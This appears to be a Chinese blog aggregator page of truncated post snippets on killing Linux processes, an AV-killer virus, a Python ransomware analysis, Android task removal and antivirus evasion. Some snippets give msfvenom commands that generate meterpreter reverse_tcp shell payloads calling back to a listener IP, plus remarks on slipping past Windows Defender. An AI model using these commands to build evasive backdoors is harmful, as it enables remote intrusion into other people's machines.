自己创建的内核线程，当把模块加载到内核之后，可以通过：ps –ef 命令来查看线程运行的情况。通过该命令可以看到该线程的pid和ppid等。也可以通过使用kill –s 9 pid 来杀死对应pid的线程。如果要支持kill命令自己创建的线程里面需要能接受kill信号。这里我们就来举一个例，支持kill命令，同时rmmod的时候也能杀死线程。 #include <linux/ker
最近我遇到长连接线程，在执行connect闪断导致永远阻塞线程，结果我想杀死这个阻塞的线程，用了九牛二之力也杀不死。
原创
2022-08-19 02:25:14
99阅读
#kill -9 $(ps -ef | grep hnlinux) //方法一 过滤出hnlinux用户进程
#kill -u hnlinux //方法二
# kill -HUP pid
kill可将指定的信息送至程序。预设的信息为SIGTERM(15)，可将指定程序终止。若仍无法终止该程序，可使用SIGKILL(9)信息尝试强制删除程序。程序或工作的编号可利用ps指令或jobs指令查看。
几天前，不幸中了个AV终结者，两个字“顽固”呀！下面和大家分享一下关与AV的危害性及免疫方法。（亲身体会呀！）
首先就是屏蔽你的防杀了，接着在你的每个盘下都生成一个autorun.inf及一个随机编码.exe可执行文件。（除了C盘）就算你当时删了，一会又会出来的。（包括进程）
并且这两个文件是隐藏的，而且也屏蔽了你的工具栏上的“文件夹选项”——“查看”里的显示隐藏。
最急人的
原创
2007-07-17 19:53:17
1184阅读
1评论
近日，fortinet截获一种使用python语言编写的勒索软件，并将其命名为 “Fsociety Locker”。之所以命名为“Fsociety Locker”，是因为勒索软件作者是美剧“黑客军团”的粉丝，勒索软件作者使用了“fs0ciety”作为文件加密后的后缀名。 今天我们就对这款勒索软件进行分析。行为特征在win7系统上运行的效果为：1.png (33.05 KB, 下载次数: 99)20
在使用Linux系统时，经常会遇到需要结束一个进程的情况，而一种常用的方法就是使用命令行来杀死该进程。而Python作为一种流行的编程语言，在Linux系统中也经常会出现与Python相关的进程。那么在Linux系统中，该如何杀死Python进程呢？
首先，我们需要了解一些基本概念。在Linux系统中，每个进程都有一个唯一的PID（进程ID）。要杀死一个进程，首先需要知道该进程的PID。我们可以
原创
2024-04-02 09:46:54
130阅读
生成shellcodemsfvenom -p python/meterpreter/reverse_tcp lhost=192.168.137.44 lport=4444 -f raw -o shell.py环境准备(1)安装Python 2.7 x86 windows版：https://www.python.org/ftp/python/2.7.16/python-2.7.16.msiPS:必须
转载
2021-05-17 10:32:50
519阅读
经测试，这种方式无法攻击windows10，因为它有defender，我们一旦运行起来，defender就会/x/meterpreter/reverse_tcp LPORT=13338 LHOST=192....
原创
2022-02-28 11:07:56
351阅读
经测试，这种方式无法攻击windows10，因为它有defender，我们一旦运行起来，defender就会把它干死不过，在电脑上装了360安全卫士的情况下，defender会被抑制，我们的后门就可以正常运行了先使用msfvenom生成shellcodemsfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=13338 LHOST=192....
原创
2021-06-29 11:08:00
1086阅读
本教程为FairyGUI进阶教程，这是一套完整的面杀桌游APP。游戏不仅有发放随机身份的功能，还涉及10个页面的切换与各页面不同状态（最多达9种状态）的切换，众多复杂UI的交互，多语言切换，3D粒子在UI上的生成，狼人杀整个游戏的运行逻辑，责任链模式，自己动手搭建的适合我们游戏使用的UI框架等等。
原创
2021-07-20 14:51:45
2234阅读
通过代码直接调用System.Management，替代powershell.exe c#代码，保存为1.cs： using System.Collections.ObjectModel; using System.Management.Automation; using System.Manage ...
转载
2021-07-17 23:39:00
1712阅读
2评论
干货|免杀-C加载器免杀尝试哆啦安全|知识星球上线啦(优惠券活动即将到期)！！！微信公众号
原创
2021-12-14 09:21:43
933阅读
onTaskRemoved()方法在当用户移除应用的一个Task栈时被调用。也就是当用户在最近任务界面把该应用的一个task划掉时，或者在最近任务界面进行清理时。这两种情况下onTaskRemoved()都会被调用，但在大多Android机型上，这两种情况有所不同：第一种情况即应用被浅杀(用户只划掉这一个Task)，该Task栈会被清理，但如果有后台service在运行，该应用的进程不会被杀掉，后台service仍然在运行。第二种即应用被深杀(用户在最近任务界面直接按清理按钮)，该应用的进程会被直接杀掉，后
转载
2021-08-13 10:30:01
1128阅读
(一)、免杀应注意的事项: 1.免杀的测试(在线杀毒、杀毒软件上报、世界反毒网:http://www.virustotal.com/zh-cn/) 在这里我建议大家不要上传自己的马到这样的网站上去.一上传不要多久就会被杀了.大家还是把杀软装在自己的电脑，然后测试比较好. 2.一个好的免杀木马要过文件、内存、行为、主动防御等一些专杀软件. 3.目前一些常用的杀软有
原创
2009-07-25 22:12:58
2366阅读
2评论
一.关于免杀的来源 为了让我们的木马在各种杀毒软件的威胁下活的更久. 二.什么叫免杀和查杀 可分为二类: 1.文件免杀和查杀:不运行程序用杀毒软件进行对该程序的扫描，所得结果。 2.内存的免杀和查杀:判断的方法1运行后,用杀毒软件的内存查杀功能. 2用OD载入,
一.关于免杀的来源
为了让我们的木马在各种杀毒软件的威胁下活的更久.
二.什么叫免杀和查杀
可分为二类:
1.文件免杀和查杀:
转载
2010-02-13 02:48:28
731阅读
webshell免杀php 免杀jsp 免杀https://xz.aliyun.com/t/10937https://xz.aliyun.com/t/10989php 免杀传统php免杀变形
原创
2022-04-29 21:48:25
107阅读
一. 前端配置（简略版）1 下载一些工具1. 打开 cmd （以管理员身份打开，否则之后安装库时会失败） 2. 从命令行进入 ele-ui 目录下 3. 安装 cnpm 命令为：npm install -g cnpm --registry=https://registry.npm.taobao.org 4. 安装 yarn 命令为：cnpm install -g yarn 5. 确保当前命令行处于
提到国产软件，很多人第一反应——360安全卫士。但就像那句著名点评：“电脑上的常见问题有一半是安装360可以解决的，另一半是卸载360可以解决的。”360可以说让人又爱又恨，强大的杀毒能力毋庸置疑，但是捆绑安装也是一把好手，不知不觉电脑就自动装上360全家桶了。TA好像软件里的流氓头子，但对于电脑小白来说，这年头网上流氓太多，找个大流氓罩着自己也算是个办法。但是国产软件≠360！很多用心做国产的软
